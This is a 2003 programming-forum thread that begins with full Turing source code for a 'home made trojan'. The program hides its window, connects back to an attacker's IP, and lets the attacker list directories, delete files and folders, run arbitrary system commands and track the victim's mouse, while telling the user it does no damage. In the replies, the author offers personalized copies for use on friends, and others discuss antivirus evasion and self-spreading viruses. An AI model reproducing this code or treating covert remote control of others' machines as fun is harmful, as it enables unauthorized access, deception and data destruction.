Computer Science Canada :: View topic - Home made trojan for anyone interested...

var wd, fi, x, y, but : int := 0
var size, attribute, fileTime : int
function sort (fileName : string) : string
var ssr : string := ""
put fileName
ssr := fileName

for i : 1 .. 30 - Str.length (fileName)
ssr := ssr + " "
end for

result ssr
end sort
function getmyip (url : string) : string
var unetStream : int
var ipaddress : string
unetStream := Net.OpenURLConnection (url)
if unetStream > 0 then
loop
exit when eof (unetStream)
get : unetStream, ipaddress

end loop
Net.CloseConnection (unetStream)
end if
result ipaddress
end getmyip
function strlength (ss : string) : int
var i : int := 1
var s : string
s := ss + ";"
loop
if s (i) = ";" then
result i
end if
i := i + 1
end loop
end strlength

buttonchoose ("multibutton")
%View.Set ("graphics:300;100,position:left;bottom,nobuttonbar")
Window.Hide (Window.GetSelect)
%Window.Hide (Window.GetActive)
const chatPort : int := 6969
function strsize (s : string) : int
var i : int := 0
loop
i := i + 1
exit when s (i) = ";"
end loop
result i
end strsize

var com : int
var s : string
var cond : int := 1
var netStream : int
var netAddress : string
var streamNumber, success : int := 0
var fileName : string
var ch, ss : string := ""
var fn : string
var rdy : boolean
%netAddress := getmyip ("geocities.com/stmxpm/ipaddress.txt")
%netAddress := "24.156.28.84"
%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
netAddress :="Your ip address"%put yer ip address here!!!!
netStream := Net.OpenConnection (netAddress, chatPort)
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!
%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!%put yer ip address here!!!!

if netStream <= 0 then
put "Unable to connect to ", netAddress
return
end if
Draw.Cls
put "This is just a test nad wont do any damage to ur computer"
put "Connected to ", netAddress

%put : netStream, Net.LocalAddress
%delay (10)
%put : netStream, "]]]]"
%delay (10)
%put : netStream, Net.LocalName
%delay (10)
%put : netStream, "]]]]"
%delay (10)
put : netStream, "end"
com := 0

var tr, tr2 : int := 0
var rdy2 : boolean := false
clock (tr)
loop
if Net.LineAvailable (netStream) then %lineavailable o
clock (tr2)
get : netStream, s : *
exit when s = "quit"
case cond of
label 1 :
if s = "dir" then
com := 1
cond := 2
s := ""
put "recieved Dir Command"
end if
if s = "cd" then
com := 2
cond := 2
s := ""
end if
if s = "rmd" then
com := 3
cond := 2
s := ""
end if
if s = "run" then
com := 4
cond := 2
s := ""
end if
if s = "del" then
com := 5
cond := 2
s := ""
end if
if s = "dela" then
com := 6
cond := 2
s := ""
end if
if s = "msg" then
com := 7
cond := 2
s := ""
end if
if s = "chk" then
put : netStream, "c1"
delay (2000)
put : netStream, "end"
end if
if s = "mouse" then
loop
if Net.LineAvailable (netStream) then
get : netStream, s : *
exit when s = "end"
end if
mousewhere (x, y, but)
delay (100)
put : netStream, intstr (x, 4) + ";" + intstr (y, 4) + ";" + intstr (but, 4) + ";"
end loop
end if

label 2 :
if com = 1 then
loop
if Net.LineAvailable (netStream) then %lineavailablei
put "recieving trancmission"
get : netStream, s : *
exit
end if

end loop
put "address recieved :", s
delay (1000)
/* loop
streamNumber := Dir.Open (s)
loop
fileName := Dir.Get (streamNumber)
if fileName = "" then
rdy := true
end if
exit when fileName = ""
delay (40)
put : netStream, fileName
put "sent file ", fi
fi := fi + 1
end loop
Dir.Close (streamNumber)
delay (40)
put : netStream, "end"
exit when rdy or s = "quit"
end loop*/

loop
streamNumber := Dir.Open (s)
loop
Dir.GetLong (streamNumber, fileName, size, attribute, fileTime)
if fileName = "" then
rdy := true
end if
exit when fileName = ""
ss := sort (fileName)
if (attribute and ootAttrDir) not= 0 then
ss := ss + "Dir "

else
ss := ss + " "
end if
if (attribute and ootAttrRead) not= 0 then
ss := ss + "Rd "
else
ss := ss + " "
end if
if (attribute and ootAttrWrite) not= 0 then
ss := ss + "Wri "
else
ss := ss + " "
end if
if (attribute and ootAttrExecute) not= 0 then
ss := ss + "exec "
else
ss := ss + " "
end if
ss := ss + intstr (size)
delay (40)
put : netStream, ss
end loop
Dir.Close (streamNumber)
put : netStream, "end"
exit when rdy or s = "quit"
end loop
com := 0
cond := 1
end if

if com = 2 then

loop
rdy := false
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
Dir.Create (s)
delay (1000)
if Error.Last = eNoError then
put : netStream, "Directory~created"
put "Sending success message!"
com := 0
rdy := true
else
put "Sending Error message!"
put : netStream, "Did~not~create~the~directory."

put : netStream, "Error: ", Error.LastMsg

end if
delay (5)
put : netStream, "end"
exit when rdy

rdy := false
delay (5)
put : netStream, "end"
end if %lineavailablei
end loop
com := 0
cond := 1
end if %com=2

if com = 3 then

loop
rdy := false
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
Dir.Delete (s)
if Error.Last = eNoError then
put "Sending success message!"
put : netStream, "Directory~deleted"
com := 0
rdy := true
else
put "Sending Error message!"
put : netStream, "Did~not~create~the~directory."
put : netStream, "Error: ", Error.LastMsg
end if
delay (5)
put : netStream, "end"
exit when rdy

rdy := false
delay (5)
put : netStream, "end"
end if %lineavailablei
end loop
com := 0
cond := 1
end if %com=3

if com = 4 then

loop
rdy := false
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
system ((s), success)
if success = 0 then
put "Sending success message!"
put : netStream, "Command~completed~successfully"
rdy := true
com := 0
cond := 1
end if
if success not= 0 then
put "Sending Error message!"
if success = 127 then
put : netStream, "Sorry,~can't~find~'command.com'"
elsif success = 126 then
put : netStream, "Sorry,~no~room~to~runcommand"
else
put : netStream, "Sorry,~command~did~not~work"
end if
end if
delay (5)
put : netStream, "end"
exit when rdy

rdy := false
delay (5)
put : netStream, "end"
end if %lineavailablei
end loop
com := 0
cond := 1
end if %com=4
if com = 5 then

loop
rdy := false
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
File.Delete (s)
if Error.Last = eNoError then
put "Sending success message!"
put : netStream, "File~Delete"
rdy := true
else
put "Sending Error message!"
put : netStream, "Did~not~delete~the~file."
delay (5)
put : netStream, "Error:~" + Error.LastMsg
rdy := true
end if

delay (5)
put : netStream, "end"
exit when rdy

rdy := false
delay (5)
put : netStream, "end"
exit when rdy
end if %lineavailablei
end loop
com := 0
cond := 1
end if %com=5

if com = 6 then
loop
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
put s
streamNumber := Dir.Open (s)
loop
fileName := Dir.Get (streamNumber)
if fileName = "" then
rdy := true
end if
exit when fileName = ""
File.Delete ((s) + "/" + fileName)
end loop
Dir.Close (streamNumber)
delay (5)
put "Sending success message!"
put : netStream, "Job~done~;)"
put : netStream, "end"
exit when rdy
end if
end loop
com := 0
cond := 1
end if %com=6

if com = 7 then
put "Recieving message from server"
delay (1000)
wd := Window.Open ("position:top;center,graphics:600;200")
delay (1000)
loop
if Net.LineAvailable (netStream) then %lineavailablei
get : netStream, s : *
exit when s = "quit"
% if s = "]]]]" then
% put ""
%else
exit when s = "end"
put s
%end if
end if
end loop
Window.Close (wd)
com := 0
cond := 1
end if %com=7

end case
s := ""
%else %disconnection time

end if %lineavailable o

end loop

Author:	Homer_simpson [ Mon Nov 03, 2003 10:14 pm ]
Post subject:	Home made trojan for anyone interested...
i was looking through my stuff today... i came about my trojan that i made a long while ago... if anyone is interested i can make u your own personal server and send u the garanteed to work client s u can have some fun with yer friends... =) if u want it just post a message here

Author:	Tony [ Mon Nov 03, 2003 10:50 pm ]
Post subject:
not really interested (I'm getting in trouble with school administration way to often ) just wondering if it's really practical to have it done in turing? I mean for the most part, trojan is stealth. Something I just don't see possible in turing.

Author:	Homer_simpson [ Mon Nov 03, 2003 10:52 pm ]
Post subject:
oh trust me... it's pretty good the victim wont even know when he has run the trojan cuz it will run in the background program... unless he goes in the taskmanager and endtasks it.. but from all the compsci teachers i've they were all such dumbasses they wouldn't think that far...

Author:	Tony [ Mon Nov 03, 2003 11:01 pm ]
Post subject:
I'm interested in how you're running a turing program in the background, without user seeing it

Author:	Homer_simpson [ Mon Nov 03, 2003 11:43 pm ]
Post subject:
try this i made a simple program running in the background...Go to the desktop the run (use left click to show that it's running... use right click to terminate)

Author:	Tony [ Mon Nov 03, 2003 11:49 pm ]
Post subject:
testing out an .exe downloaded from a "try out this amazing tojan" post...? no thx

Author:	Homer_simpson [ Tue Nov 04, 2003 12:33 am ]
Post subject:
well i'm telling u that this is not the server... i dunno if u can trust that...

Author:	Tony [ Tue Nov 04, 2003 10:24 am ]
Post subject:
Homer_simpson wrote: i dunno if u can trust that... well obviously not

Author:	Dan [ Tue Nov 04, 2003 12:42 pm ]
Post subject:
meh, virus/trojans in turing is a waste of time, could soooo much more damage and cool things in vb sripted (the best languge for thous windows based e-mail virus). i made a viurs in turing, it was funny it was deginged to seek out and destory all copys of turing and replace them with a copy of the virus. did not wrok gr8 b/c turings netwrok sport sucks big time so it could not spread very fast. the way you make it run in the bake ground is just not dispay anything right Homer? i know that in turing 3.1.1 if you did not display any text and just did file comands and others that had no out to the sreen, that it whould not show a comand thing when complied or at least i think it whont

Author:	Tony [ Tue Nov 04, 2003 12:46 pm ]
Post subject:
VB/VB script/VB macros are a much better choice since VB is integrated with windows and MS office... you've got soo much API access and other goodies... but Turing sucks on so many levels, I donno why one would even bother writing up a virus in turing... Well maybe if insert couple of lines of interesting code into someone's program

Author:	Homer_simpson [ Tue Nov 04, 2003 5:46 pm ]
Post subject:
well obviously this has been just a test and to give me a good idea what i need for the one i'm making in c (watch out tony)

Author:	Atma Weapon [ Thu Nov 06, 2003 2:03 pm ]
Post subject:
In the interests of free information and satiating my curiosity, please, do share.

Author:	Homer_simpson [ Thu Nov 06, 2003 3:45 pm ]
Post subject:
so u want me to send it to u atma?

Author:	Atma Weapon [ Thu Nov 06, 2003 4:09 pm ]
Post subject:
Homer_simpson wrote: so u want me to send it to u atma? Yes, that would be nice, I think. What does it do, exactly? Is it a simple keylogger? Or something more sinister?

Author:	Homer_simpson [ Thu Nov 06, 2003 4:41 pm ]
Post subject:
well... it can send u a lot of info about yer victims computer... u can surf his hard drive... add or delete stuff... u can run dos commands... u can send messages, etc... but i'm gonna need your ip... and your email so i can send u the files on email or something...

Author:	Homer_simpson [ Fri Nov 07, 2003 5:49 pm ]
Post subject:
explain that a bit more... show off version of what?

Author:	DanShadow [ Mon Dec 08, 2003 7:00 pm ]
Post subject:	...
hmm...sounds pretty interesting. Could you send it to me as well please? My friends and I used to use VNC...some weird t hing to watch eachother as we did stuff, heh. This would prove fun, if you'll send, please do to: Dark_Vamp665@hotmail.com Thanks!

Author:	templest [ Fri Dec 12, 2003 10:55 am ]
Post subject:
Funny... people are actually asking someone if they can "please" make a trojan personalized for them so that they may install it on their computer on purpose. ... there's only one thing I have to say... smaaaart.

Author:	DanShadow [ Fri Dec 12, 2003 4:36 pm ]
Post subject:
If its really a good trojan, my virus scanner will just ask me if I want to quarantine and kill it every time I open the directory with the file in it...if any one tries to use it to hack me...it "may" kill th e link automatically. (I hope )

Author:	Dan [ Thu Nov 06, 2003 6:25 pm ]
Post subject:
if it dose not mess poleops computers up with out them telling it to you can post it on compsci.ca if you whont. also as long as it dose infect there computers as all and is easy to get ride of.

Author:	Homer_simpson [ Thu Nov 06, 2003 6:41 pm ]
Post subject:
well since it was just a test i didn't make it spread it's self and it's easy to get rid of but i'm still gonna need yer ip to make yer personalized server...

Author:	Dan [ Fri Nov 07, 2003 5:02 pm ]
Post subject:
why not make a show off verson that asks user for there ip or reads it from a file?

Author:	hackman [ Wed Nov 12, 2003 11:13 am ]
Post subject:
Hmm, I could use a copy of that. Trojans are fun, and i'd like to see what turing can do in that catagory. Im at school right now, so i cant get my ip till i get home. And i belive Dan means a version of the trojan that asks you to imput your ip and then automaticaly creates a server.

Author:	Dan [ Wed Nov 12, 2003 12:12 pm ]
Post subject:
Homer_simpson wrote: explain that a bit more... show off version of what? of the Trojans, so you dont have to recomple it every time some one asks to see it

Author:	Homer_simpson [ Thu Nov 13, 2003 11:13 pm ]
Post subject:
u know that that's not possible to do in turing.... unless i make up some site to interact with the client so it interacts with it and find the server's ip or some shit like that....

Author:	Dan [ Fri Nov 14, 2003 12:43 pm ]
Post subject:
are you shure? i was able to disaply the hostname of the computer my progame was ruing on when i made a chat progame in turing. also i think you can covert hostname to ip in turing as well. i think it is in the net comands. (this was in turing 3.1 so may they messed with it since then)

Author:	Homer_simpson [ Fri Nov 14, 2003 5:08 pm ]
Post subject:
of course u can get yer ip... but that's not it works... at the beggining the server is in listening status waiting for a connection... when the victim runs the client, the client is gonna try to connect to the server using the ip that it has stored within... so that's y everyone needs separate clients...

Author:	Dan [ Fri Nov 14, 2003 6:55 pm ]
Post subject:
ohh, now i see what you are saying. i thougth you made it more like the turidional trogen where the client (the victem) is listing for the conection and the server (the actcker) has to input the ip of the client to conect to it.

Author:	Homer_simpson [ Sat Nov 15, 2003 3:24 pm ]
Post subject:
well that would be pretty dumb... then u gotto hack yer victim's ip first then use the trojan which is pretty dumb.... i dun think that's how traditional trojans work either... the trojan's i used would make a list of all the computers that are infected and u could access any of the victims computers all over the world...

Author:	Dan [ Mon Nov 17, 2003 5:16 pm ]
Post subject:
Homer_simpson wrote: well that would be pretty dumb... then u gotto hack yer victim's ip first then use the trojan which is pretty dumb.... i dun think that's how traditional trojans work either... the trojan's i used would make a list of all the computers that are infected and u could access any of the victims computers all over the world... well acuahly a lot do, the idea behind the method i metiod whould be that your trogen is very good at infecting comps and whould spread acrose the web. then the actacker whould use an ip scaner to check random, or not so random comps for ports that trogen uses. but i have also seen ones that send an e-mail to some one with the ip when the comp is on. the problem with hard coding the ip is that the ip on alot of comps chages regualry and the vrius writer ushlay whonts to share there app with lots of poleop so the atackers ip whould also be chaging. check out alot of the popualr ones out there and you will see you have to put in the victems ip or hostname. also if you are making this virus with hard coded ips then when athorites go looking for the person who made it, it whould not be hard to find who did it if there ip is coded in to it

Author:	Homer_simpson [ Mon Nov 17, 2003 9:21 pm ]
Post subject:
hahahaha... =) in this new one there aint even gonna be a direct connection... i'm trying out different methods... download the test one i made off the visual basic submittions...

Author:	Andy [ Fri Dec 12, 2003 5:51 pm ]
Post subject:
wow how n00b can u get... your virus scan have to know that its a trojan b4 it can delete it... if homer made it, no body would know that its really a trojan

Author:	Homer_simpson [ Fri Dec 12, 2003 6:39 pm ]
Post subject:
well... actually if his virus scanner is a good one(and is set on max security) it will detect the unwanted connection and asks him he wants to terminate it... like mcaffee when u turn the fire wall on... it will ask yer permittion for each and every connection established which is y no one puts it on

Author:	Andy [ Fri Dec 12, 2003 8:35 pm ]
Post subject:
but thats a firewall... not a virus scan

Author:	Homer_simpson [ Fri Dec 12, 2003 8:40 pm ]
Post subject:
yeah... i guess but most antiviruses i've seen have a built in fire wall...

Author:	Andy [ Fri Dec 12, 2003 9:16 pm ]
Post subject:
not the most common one tho... norton that is

Author:	templest [ Fri Dec 12, 2003 11:41 pm ]
Post subject:
yeha but (pardon my eng-r-ish) n0r+0n is teh zhuX. McAfee or even AVG Free version is a better alternative. Most c0ders already know how to crack Norton because it's so popular that everyone is constantly trying to get by it. Even McAfee is starting to let some stuff slip. No one worries about AVG because it's not that widely used. But here I am sounding like a commercial. It's up to you to decide what you think is best. cough AVG cough

Author:	Homer_simpson [ Sat Dec 13, 2003 11:51 am ]
Post subject:
well for a virus scanner and firewall... I'd suggest f-secure.... best one i ever tried...

Author:	white_dragon [ Mon Jan 12, 2004 6:17 pm ]
Post subject:
geeeeeeeeee u guys r soooooooooooooo bad!!!!!!!!! trojan virsuses n all! lol. lol.